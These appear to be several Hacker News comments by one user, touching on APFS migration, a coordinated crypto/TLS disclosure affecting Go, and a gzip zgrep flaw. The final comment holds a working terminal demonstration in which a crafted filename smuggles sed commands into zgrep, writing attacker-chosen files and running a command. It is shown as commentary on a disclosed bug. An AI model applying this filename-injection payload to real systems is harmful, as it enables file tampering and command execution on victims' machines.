An absolutely impressive achievement. I echo sentiments seen in other HN threads recently -- "I'd never do in-place FS upgrades!" -- yet Apple pulled it off on billions of devices with zero fanfare. Folk have scores of stores about btrfs/ZFS/etc issues, I don't recall similarly for APFS?

You’re right re: implementation —- I’m drawing a conclusion solely from the coordinated disclosure that it’s a similar crypto/TLS issue.

If the Go issues were distinct I’d imagine they’d choose a different day to disclose/release?

I adore Go, but it seems to be impacted too: https://groups.google.com/g/golang-announce/c/dRtDK7WS78g

For a different perspective of the same issue: https://news.ycombinator.com/item?id=32471624

(don't be fooled by the article's title, I regret I was the first time around)

This one's pretty cool, example below per gzip-1.12/tests/zgrep-abuse:

  timdoug@box:~/gzip$ ls
  timdoug@box:~/gzip$ touch z
  timdoug@box:~/gzip$ echo test | gzip > 'z|
  p
  1s|.*|chosen-content|
  1w hacked
  etouch .\x2fhacked2
  d
  #
  #'
  timdoug@box:~/gzip$ zgrep test z*
  ztest
  timdoug@box:~/gzip$ ls hack*
  hacked  hacked2
  timdoug@box:~/gzip$ cat hacked
  chosen-content
  timdoug@box:~/gzip$
